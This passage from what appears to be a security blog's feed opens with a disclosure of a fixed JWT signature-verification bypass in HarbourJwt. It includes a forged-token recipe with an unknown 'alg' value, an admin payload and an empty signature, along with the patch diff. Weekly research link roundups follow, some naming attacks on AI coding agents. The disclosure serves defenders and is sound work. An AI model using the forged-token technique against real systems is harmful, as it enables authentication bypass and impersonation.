         cSignature := ::Base64UrlEncode( ... HB_HMAC_SHA256(...) )
     CASE cAlgorithm=="HS384"
         cSignature := ::Base64UrlEncode( ... HB_HMAC_SHA384(...) )
     CASE cAlgorithm=="HS512"
         cSignature := ::Base64UrlEncode( ... HB_HMAC_SHA512(...) )
     OTHERWISE
         ::cError := "INVALID ALGORITHM"
         // cSignature remains "" (empty string)
  ENDCASE

RETU cSignature</code></pre>

<p>
  Returning an empty signature for an unknown algorithm is already dangerous - but the real issue is what happens next.
</p>

<h5 class="fw-bold my-3">The verification bypass</h5>

<p>
  During verification, HarbourJwt computes a new signature and compares it to the token signature:
</p>

<pre><code class="language-text">cNewSignature := ::GetSignature( aJWT[1], aJWT[2], ::cSecret, aHeader[ 'alg' ] )

IF ( cSignature != cNewSignature )
  ::cError := "Invalid signature"
  RETU .F.
ENDIF</code></pre>

<p>
  If an attacker supplies a token with:
</p>

<ul>
  <li><code>alg</code> set to an unsupported value (so <code>GetSignature()</code> returns <code>""</code>)</li>
  <li>an <strong>empty JWT signature segment</strong> (so the token signature is also <code>""</code>)</li>
</ul>

<p>
  Then both strings match:
</p>

<ul>
  <li><code>cSignature</code> (from token) = <code>""</code></li>
  <li><code>cNewSignature</code> (computed) = <code>""</code></li>
</ul>

<p>
  The comparison passes, the <code>IF</code> block is skipped, and verification continues as if the token was valid.
  The error message (<code>"INVALID ALGORITHM"</code>) is set, but <code>GetSignature()</code> still returns the empty string
  as a valid result rather than signaling failure. The caller never checks <code>::cError</code> before proceeding.
</p>

<h5 class="fw-bold my-3">Exploit sketch</h5>

<p>
  JWTs are three dot-separated segments: <code>base64url(header).base64url(payload).base64url(signature)</code>.
  If the signature is empty, you still get a trailing dot.
</p>

<pre><code class="language-text">Header:  {"typ":"JWT","alg":"zzz"}
Payload: {"sub":"admin","name":"Mallory","iat":1700000000,"role":"admin"}</code></pre>

<p>
  An attacker base64url-encodes header and payload, and sends:
</p>

<pre><code class="language-text">&lt;base64url(header)&gt;.&lt;base64url(payload)&gt;.</code></pre>

<p>
  No secret key required. No cryptography required. Just string comparison with an empty signature.
</p>

<h5 class="fw-bold my-3">Impact</h5>

<ul>
  <li><strong>Complete authentication bypass</strong></li>
  <li><strong>User impersonation</strong> (forge any identity / <code>sub</code>)</li>
  <li><strong>Privilege escalation</strong> (forge any claims/roles)</li>
  <li><strong>Trivial exploitation</strong> (no key material needed)</li>
</ul>

<h5 class="fw-bold my-3">The fix</h5>

<p>
  The maintainer fixed the issue in
  <a href="https://github.com/matteobaccan/HarbourJwt/commit/e1e0ee9388c047572f3006a58c13ccd78b407351" target="_blank" rel="noreferrer noopener">commit e1e0ee9</a>
  by making the algorithm error state part of the verification decision (and by resetting the error before verification).
</p>

<pre><code class="language-diff">@@ -218,6 +218,9 @@ METHOD Verify( cJWT ) CLASS JWT
   LOCAL aJWT, aHeader, aPayload
   LOCAL cSignature, cNewSignature

+  // Reset error
+  ::cError := ''
+

@@ -256,7 +259,7 @@
   cNewSignature := ::GetSignature( aJWT[1], aJWT[2], ::cSecret, aHeader[ 'alg' ] )
-  IF ( cSignature != cNewSignature )
+  IF ( cSignature != cNewSignature .OR. !EMPTY(::cError) )
     ::cError := "Invalid signature"
     RETU .F.
   ENDIF</code></pre>

<p>
  In plain terms: <strong>unknown algorithm</strong> now leads to a <strong>failed verification</strong>, even if both signatures
  would have been empty strings.
</p>

<h5 class="fw-bold my-3">Regression tests</h5>

<p>
  The same patch also adds/extends tests to cover multiple algorithms and to prevent regressions around invalid algorithms and signatures.
  This ensures the bypass cannot be silently reintroduced.
</p>

<h5 class="fw-bold my-3">Related: another JWT issue found using the same approach</h5>

<p>
  This wasn’t the only JWT issue I found while doing automated triage + manual validation.
  Using the same “jwt-library-review” workflow, I also found and reported a JWT signature verification bypass in a Swift library:
  <a href="https://github.com/beatt83/jose-swift/security/advisories/GHSA-88q6-jcjg-hvmw" target="_blank" rel="noreferrer noopener">GHSA-88q6-jcjg-hvmw</a>.
</p>

<h5 class="fw-bold my-3">Takeaway: LLMs let you review code in languages you don't know</h5>

<p>
  I didn't need to learn Harbour to find this bug. The LLM translated an unfamiliar language into something I could
  reason about, and from there I had options: triage the findings myself, or use the LLM to help with that too.
</p>

<p>
  If you want to get better at finding issues like this, check out our
  <a href="https://pentesterlab.com/live-training/" target="_blank" rel="noreferrer noopener">live training on manual security code review</a>.
  Understanding security patterns (like JWT verification flows) helps you craft the right prompts, judge LLM output, and triage findings, regardless of the language.
</p>

<h5 class="fw-bold my-3">References</h5>

<ul>
  <li><a href="https://github.com/matteobaccan/HarbourJwt" target="_blank" rel="noreferrer noopener">HarbourJwt repository</a></li>
  <li><a href="https://github.com/matteobaccan/HarbourJwt/commit/e1e0ee9388c047572f3006a58c13ccd78b407351" target="_blank" rel="noreferrer noopener">Fix commit (e1e0ee9)</a></li>
  <li><a href="https://jwt.io/libraries" target="_blank" rel="noreferrer noopener">jwt.io libraries index</a></li>
  <li><a href="https://github.com/beatt83/jose-swift/security/advisories/GHSA-88q6-jcjg-hvmw" target="_blank" rel="noreferrer noopener">GHSA-88q6-jcjg-hvmw advisory (jose-swift)</a></li>
</ul>

]]>
      </description>
      <pubDate>Wed, 21 Jan 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/cve-2026-23993-harbourjwt-unknown-alg-jwt-bypass</link>
      <guid>https://pentesterlab.com/blog/cve-2026-23993-harbourjwt-unknown-alg-jwt-bypass</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 03/2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">Claude RedTeam, Claude Hacking, Claude Skills...Is it Claude week?</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🤖 </span><a href="https://red.anthropic.com/2026/cyber-toolkits-update/" target="_blank" style="color:inherit;text-decoration:none;">AI models are showing a greater ability to find and exploit vulnerabilities on realistic cyber ranges</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="19"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">The latest Claude models are getting noticeably better at hacking <a href="https://red.anthropic.com/2026/cyber-toolkits-update/" target="_blank">AI models are showing a greater ability to find and exploit vulnerabilities on realistic cyber ranges</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🏴‍☠️ </span><a href="https://flatt.tech/research/posts/pwning-claude-code-in-8-different-ways/" target="_blank" style="color:inherit;text-decoration:none;">Pwning Claude Code in 8 Different Ways</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="20"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Getting Claude Code to execute commands even when it&#39;s not supposed to. A great read even if you don&#39;t care about Claude Code, as it highlights a few tricks and quirks of some of your favorite CLI tools <a href="https://flatt.tech/research/posts/pwning-claude-code-in-8-different-ways/" target="_blank">Pwning Claude Code in 8 Different Ways</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🔐 </span><a href="https://cryptography.io/en/latest/statements/state-of-openssl/" target="_blank" style="color:inherit;text-decoration:none;">The State of OpenSSL for pyca/cryptography</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="21"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">A really interesting read on the state of OpenSSL <a href="https://cryptography.io/en/latest/statements/state-of-openssl/" target="_blank">The State of OpenSSL for pyca/cryptography</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">💡 </span><a href="https://github.com/trailofbits/skills" target="_blank" style="color:inherit;text-decoration:none;">Trail of Bits Skills Marketplace</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="22"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">This week, Trail of Bits released a set of skills for Claude. A lot of great skills that can be used by code reviewers, smart contract auditors, and everyone working in AppSec <a href="https://github.com/trailofbits/skills" target="_blank">Trail of Bits Skills Marketplace</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">💂🏻‍♀️ </span><a href="https://block.github.io/goose/blog/2026/01/05/agentic-guardrails-and-controls/" target="_blank" style="color:inherit;text-decoration:none;">Agent Guardrails and Controls: Applying the CORS Model to Agents</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="23"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">The team at Block wrote a proposal on how something similar to CORS can be used to prevent LLM content injection <a href="https://block.github.io/goose/blog/2026/01/05/agentic-guardrails-and-controls/" target="_blank">Agent Guardrails and Controls: Applying the CORS Model to Agents</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🛠️ </span><a href="https://github.com/secorizon/OffByWon" target="_blank" style="color:inherit;text-decoration:none;">OffByWon Fuzzing Framework</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="24"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Laurent Gaffié (the author of Responder) released a new fuzzer. If you know about his previous work on SMB, you know that it&#39;s worth checking out <a href="https://github.com/secorizon/OffByWon" target="_blank">OffByWon Fuzzing Framework</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Sun, 18 Jan 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week03-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week03-2026</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 01/2026</title>
      <description>
        <![CDATA[<div class="mb-4">
  <p style="font-size:1.15rem;color:#5E6F7C;line-height:1.7;">XS Leaks, arithmetic bugs &amp; CVE deep dives.</p>
</div>
<div class="mb-5">
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">💧 </span><a href="https://blog.arkark.dev/2025/12/26/etag-length-leak" target="_blank" style="color:inherit;text-decoration:none;">Cross-Site ETag Length Leak</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="14"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">An amazing CTF write-up on XS Leaks. Make sure you also read the unintended solution linked at the bottom of the page <a href="https://blog.arkark.dev/2025/12/26/etag-length-leak" target="_blank">Cross-Site ETag Length Leak</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🛠️ </span><a href="https://blog.trailofbits.com/2025/12/31/detect-gos-silent-arithmetic-bugs-with-go-panikint/" target="_blank" style="color:inherit;text-decoration:none;">Detect Go&#39;s silent arithmetic bugs with go-panikint</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="15"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">A new tool from the team at Trail of Bits to detect arithmetic bugs in Go <a href="https://blog.trailofbits.com/2025/12/31/detect-gos-silent-arithmetic-bugs-with-go-panikint/" target="_blank">Detect Go&#39;s silent arithmetic bugs with go-panikint</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">💎 </span><a href="https://nastystereo.com/security/ruby-pack.html" target="_blank" style="color:inherit;text-decoration:none;">Ruby Array Pack Bleed</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="16"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Luke Jahnke is back with the first bug in Ruby 4 <a href="https://nastystereo.com/security/ruby-pack.html" target="_blank">Ruby Array Pack Bleed</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">🛒 </span><a href="https://dhakal-ananda.com.np/blogs/cve-2025-61922-analysis/" target="_blank" style="color:inherit;text-decoration:none;">CVE-2025-61922: Zero-Click Account Takeover on PrestaShop</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="17"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">A great CVE analysis on CVE-2025-61922. Funnily enough, I quickly discussed this bug in a recent talk on how to learn from CVE analysis <a href="https://dhakal-ananda.com.np/blogs/cve-2025-61922-analysis/" target="_blank">CVE-2025-61922: Zero-Click Account Takeover on PrestaShop</a>.</p>
  <div class="d-flex align-items-start justify-content-between mt-5">
    <h5 class="fw-bold mb-0"><span class="topic-emoji">💉 </span><a href="https://medium.com/@Echo_Slow/the-return-to-blogging-and-a-blind-sql-injection-2bee0a7fa779" target="_blank" style="color:inherit;text-decoration:none;">The return to blogging and a blind SQL injection</a></h5>
    <span class="research-vote-container ms-2" data-entry-id="18"><button type="button" class="btn btn-sm research-vote-btn disabled " data-voted="">&#x1F44D;</button> <span class="research-vote-count">0</span></span>
  </div>
  <p class="mt-2">Another CVE analysis, inspired by my blog post <a href="https://medium.com/@Echo_Slow/the-return-to-blogging-and-a-blind-sql-injection-2bee0a7fa779" target="_blank">The return to blogging and a blind SQL injection</a>.</p>
</div>
<!-- Substack CTA -->
<div class="mt-5 p-4" style="background-color: #FFFBF5; border: 2px solid #FC9902; border-radius: 8px;">
  <h6 class="mb-3" style="color: #FC9902; font-weight: 700;">📬 Never Miss Quality Security Research</h6>
  <p class="mb-2">Get these curated picks delivered to your inbox every week:</p>
  <ul class="mb-3" style="line-height: 1.8;">
    <li>Hand-picked vulnerability research</li>
    <li>Practical security insights</li>
    <li>CVE deep-dives worth your time</li>
    <li>No fluff, just signal</li>
  </ul>
  <a href="https://pentesterlab.substack.com/" target="_blank" class="btn btn-primary" style="background-color: #FC9902; border: none; color: #fff; font-weight: 600;">Subscribe for Free →</a>
</div>
]]>
      </description>
      <pubDate>Tue, 06 Jan 2026 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week01-2026</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week01-2026</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 51/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>A quieter week that perfectly fits the two deep dives!</p>
</div>
<div class="mb-5">
  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">📚 </span>ORM Leaking More Than You Joined For
  </h5>
  <p>The latest opus in Elttam's posts on ORM leaks, including some semgrep rules and a reference to <a href="https://pentesterlab.com/blog/orm-leak-with-sqlite3" target="_blank">my blog post</a> on the subject:
    <a href="https://www.elttam.com/blog/leaking-more-than-you-joined-for/" target="_blank">ORM Leaking More Than You Joined For</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🤿 </span>A Deep And Very Technical Analysis of CVE-2025-55182 (React2Shell)
  </h5>
  <p>Probably the best deep dive I've come across on React2Shell:
    <a href="https://i0.rs/blog/a-deep-and-very-technical-analysis-of-cve-2025-55182-react2-shell/" target="_blank">A Deep And Very Technical Analysis of CVE-2025-55182 (React2Shell)</a>.
  </p>
</div>
]]>
      </description>
      <pubDate>Sun, 21 Dec 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week51-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week51-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 50/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>SAML bypasses &amp; LLM-assisted crash triage.</p>
</div>
<div class="mb-5">
  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🔒 </span>The Fragile Lock: Novel Bypasses for SAML Authentication
  </h5>
  <p>Ruby SAML falls again. An extraordinary exploit by the PortSwigger team:
    <a href="https://portswigger.net/research/the-fragile-lock" target="_blank">The Fragile Lock: Novel Bypasses for SAML Authentication</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🤖 </span>Ask your LLM for receipts: What I learned teaching Claude C++ crash triage
  </h5>
  <p>A short braindump from Halvar Flake on the lessons learned from triaging crashes using Claude:
    <a href="https://addxorrol.blogspot.com/2025/12/ask-your-llm-for-receipts-what-i.html" target="_blank">Ask your LLM for receipts: What I learned teaching Claude C++ crash triage</a>.
  </p>
</div>

]]>
      </description>
      <pubDate>Sun, 14 Dec 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week50-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week50-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 49/2025</title>
      <description>
        <![CDATA[
<div class="mb-0">
  <p>WAF bypasses, CVE research &amp; constant-time crypto.</p>
</div>
<div class="mb-5">
  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">⏰ </span>Introducing constant-time support for LLVM to protect cryptographic code
  </h5>
  <p>Trail of Bits explains their work on adding constant-time support to LLVM so that compiled cryptographic code remains constant-time:
    <a href="https://blog.trailofbits.com/2025/12/02/introducing-constant-time-support-for-llvm-to-protect-cryptographic-code/" target="_blank">Introducing constant-time support for LLVM to protect cryptographic code</a>.
  </p>


  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">⛔️ </span>Bypassing WAFs for Fun and JS Injection with Parameter Pollution
  </h5>
  <p>A great summary of the current state of HTTP parameter pollution as a way to bypass WAFs: 
    <a href="https://blog.ethiack.com/blog/bypassing-wafs-for-fun-and-js-injection-with-parameter-pollution" target="_blank">Bypassing WAFs for Fun and JS Injection with Parameter Pollution</a>.
  </p>

  <h5 class="mt-5 fw-bold position-relative">
    <span class="topic-emoji">🧐 </span>How to Research &amp; Reverse Web Vulnerabilities 101
  </h5>
  <p>One of my favourite hobbies (CVE analysis) is covered in this blog post from the ProjectDiscovery team: 
    <a href="https://projectdiscovery.io/blog/how-to-research-web-vulnerabilities" target="_blank">How to Research &amp; Reverse Web Vulnerabilities 101</a>.
  </p>

</div>


]]>
      </description>
      <pubDate>Sun, 07 Dec 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week49-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week49-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 47/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>Articles worth reading discovered last week. This week feels like a giant "how to find your own CVE"...</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>An Evening with Claude (Code)</h5>
  <p>A great write-up on finding CVE-2025-64755 impacting Claude Code. A mix of strategy and practical tricks to get started, and probably enough to help some readers find their own vulnerability: <a href="https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/" target="_blank">https://specterops.io/blog/2025/11/21/an-evening-with-claude-code/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">☕️ </span>Gotchas in Email Parsing — Lessons From Jakarta Mail</h5>
  <p>Another excellent post from Jia in the elttam team. It covers subtle traps in email parsing impacting Java, many of which apply easily to other languages as well: <a href="https://www.elttam.com/blog/jakarta-mail-primitives/" target="_blank">https://www.elttam.com/blog/jakarta-mail-primitives/</a>. A great resource to keep handy if you are auditing applications that deal with emails 😜</p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔐 </span>We Found Cryptography Bugs in the Elliptic Library Using Wycheproof</h5>
  <p>A blog post showing how "just" leveraging Wycheproof test vectors can lead directly to CVEs: <a href="https://blog.trailofbits.com/2025/11/18/we-found-cryptography-bugs-in-the-elliptic-library-using-wycheproof/" target="_blank">https://blog.trailofbits.com/2025/11/18/we-found-cryptography-bugs-in-the-elliptic-library-using-wycheproof/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🔮 </span>Breaking Oracle’s Identity Manager: Pre-Auth RCE (CVE-2025-61757)</h5>
  <p>Adam and Shubs share a pre-auth RCE in Oracle Identity Manager. Beyond the vulnerability itself, the attentive reader will pick up several key tricks between the lines: <a href="https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/" target="_blank">https://slcyber.io/research-center/breaking-oracles-identity-manager-pre-auth-rce/</a></p>

</div>

]]>
      </description>
      <pubDate>Sun, 23 Nov 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week47-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week47-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 46/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>Android, Request Smuggling and Markdown Sanitizer!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📸 </span>Pixnapping Attack</h5>
  <p>It has been a while since the last vulnerability with its own website and catchy name! This one is worth reading if you are into Android security: <a href="https://www.pixnapping.com/" target="_blank">https://www.pixnapping.com/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">📲 </span>Rust in Android: Move Fast and Fix Things</h5>
  <p>One year later, see how moving to Rust is allowing the Android team to iterate more securely and faster. A great case study: <a href="https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html" target="_blank">https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧩 </span>How I Found the Worst ASP.NET Vulnerability — A $10K Bug (CVE-2025-55315)</h5>
  <p>HTTP request smuggling strikes again! This time in the Kestrel web server. Read the write-up, which includes some source code analysis: <a href="https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/" target="_blank">https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Hacking Gemini: A Multi-Layered Approach</h5>
  <p>A great write-up on bypassing the markdown sanitizer used by Gemini: <a href="https://buganizer.cc/hacking-gemini-a-multi-layered-approach-md" target="_blank">https://buganizer.cc/hacking-gemini-a-multi-layered-approach-md</a></p>


</div>

]]>
      </description>
      <pubDate>Sun, 16 Nov 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week46-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week46-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 45/2025</title>
      <description>
        <![CDATA[
<div class="mb-0">
  <p>Busy week: Android, Django and MCP!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Runtime Android Object Instrumentation</h5>
  <p>A great write-up on runtime instrumentation for Android using SQLite as a case study: <a href="https://knifecoat.com/Posts/Runtime+Android+Object+Instrumentation" target="_blank">https://knifecoat.com/Posts/Runtime+Android+Object+Instrumentation</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🐍 </span>Critical SQL Injection Vulnerability in Django (CVE-2025-64459)</h5>
  <p>Some details around the latest issue impacting Django: <a href="https://www.endorlabs.com/learn/critical-sql-injection-vulnerability-in-django-cve-2025-64459" target="_blank">https://www.endorlabs.com/learn/critical-sql-injection-vulnerability-in-django-cve-2025-64459</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🌽 </span>Defeating KASLR by Doing Nothing at All</h5>
  <p>Project Zero looking at KASLR on arm64: <a href="https://googleprojectzero.blogspot.com/2025/11/defeating-kaslr-by-doing-nothing-at-all.html" target="_blank">https://googleprojectzero.blogspot.com/2025/11/defeating-kaslr-by-doing-nothing-at-all.html</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Assessing the Attack Surface of Remote MCP Servers</h5>
  <p>A thorough post from the Kulkan team on attacking MCP servers: <a href="https://medium.com/@kulkan-security/assessing-the-attack-surface-of-remote-mcp-servers-92d630a0cab0" target="_blank">https://medium.com/@kulkan-security/assessing-the-attack-surface-of-remote-mcp-servers-92d630a0cab0</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧑🏻‍💻 </span>Claude Code Can Debug Low-level Cryptography</h5>
  <p>Debugging post-quantum cryptography with Claude and finding low-level bugs without reference implementations: <a href="https://words.filippo.io/claude-debugging/" target="_blank">https://words.filippo.io/claude-debugging/</a></p>

</div>
]]>
      </description>
      <pubDate>Sun, 09 Nov 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week45-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week45-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 44/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>Passports, WIFI and AI-SAST!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛂 </span>The cryptography behind electronic passports</h5>
  <p>A great write-up on the security of electronic passports using a threat-modelling approach: <a href="https://blog.trailofbits.com/2025/10/31/the-cryptography-behind-electronic-passports/" target="_blank">https://blog.trailofbits.com/2025/10/31/the-cryptography-behind-electronic-passports/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🛜 </span>Bypassing WiFi Client Isolation</h5>
  <p>Ben from Pulse Security published a great article on bypassing Wi-Fi client isolation, with everything you need to reproduce the attacks: <a href="https://pulsesecurity.co.nz/articles/bypassing-wifi-client-isolation" target="_blank">https://pulsesecurity.co.nz/articles/bypassing-wifi-client-isolation</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧠 </span>WTF is ... - AI-Native SAST?</h5>
  <p>A vitriolic and definitely worth-reading essay on SAST and AI: <a href="https://parsiya.net/blog/wtf-is-ai-native-sast/" target="_blank">https://parsiya.net/blog/wtf-is-ai-native-sast/</a></p>

</div>

]]>
      </description>
      <pubDate>Sun, 02 Nov 2025 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/research-worth-reading-week44-2025</link>
      <guid>https://pentesterlab.com/blog/research-worth-reading-week44-2025</guid>
    </item>
    <item>
      <title>Research Worth Reading Week 43/2025</title>
      <description>
        <![CDATA[<div class="mb-0">
  <p>Another great week!</p>
</div>
<div class="mb-5">

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧠 </span>CSP Bypass Search</h5>
  <p>What if there was a place you could copy/paste a CSP policy and instantly get a bypass for it: <a href="https://cspbypass.com/" target="_blank">https://cspbypass.com/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🤖 </span>Prompt injection to RCE in AI agents</h5>
  <p>A great case study of common protections meant to “prevent” arbitrary commands in AI agents and how to bypass them: <a href="https://blog.trailofbits.com/2025/10/22/prompt-injection-to-rce-in-ai-agents/" target="_blank">https://blog.trailofbits.com/2025/10/22/prompt-injection-to-rce-in-ai-agents/</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🧱 </span>Client-Side Path Traversal: Exploiting CSRF in Header-based auth scenarios</h5>
  <p>A great article from the Kulkan team with a lab on client-side path traversal: <a href="https://blog.kulkan.com/client-side-path-traversal-exploiting-csrf-in-header-based-auth-scenarios-31c26a1baece" target="_blank">https://blog.kulkan.com/client-side-path-traversal-exploiting-csrf-in-header-based-auth-scenarios-31c26a1baece</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">🕵️ </span>Key IOCs for Pegasus and Predator Spyware Cleaned With iOS 26 Update</h5>
  <p>Learn how the iOS 26 update impacts forensic analysis: <a href="https://iverify.io/blog/key-iocs-for-pegasus-and-predator-spyware-cleaned-with-ios-26-update" target="_blank">https://iverify.io/blog/key-iocs-for-pegasus-and-predator-spyware-cleaned-with-ios-26-update</a></p>

  <h5 class="mt-5 fw-bold position-relative"><span class="topic-emoji">💥 </span>Why nested deserialization is STILL harmful – Magento RCE (CVE-2025-54236)</h5>
  <p>A deep dive on Magento deserialization by the AssetNote^wslcyber team: <a href="https://slcyber.io/assetnote-security-research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/" target="_blank">https://slcyber.io/assetnote-security-research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/</a></p>

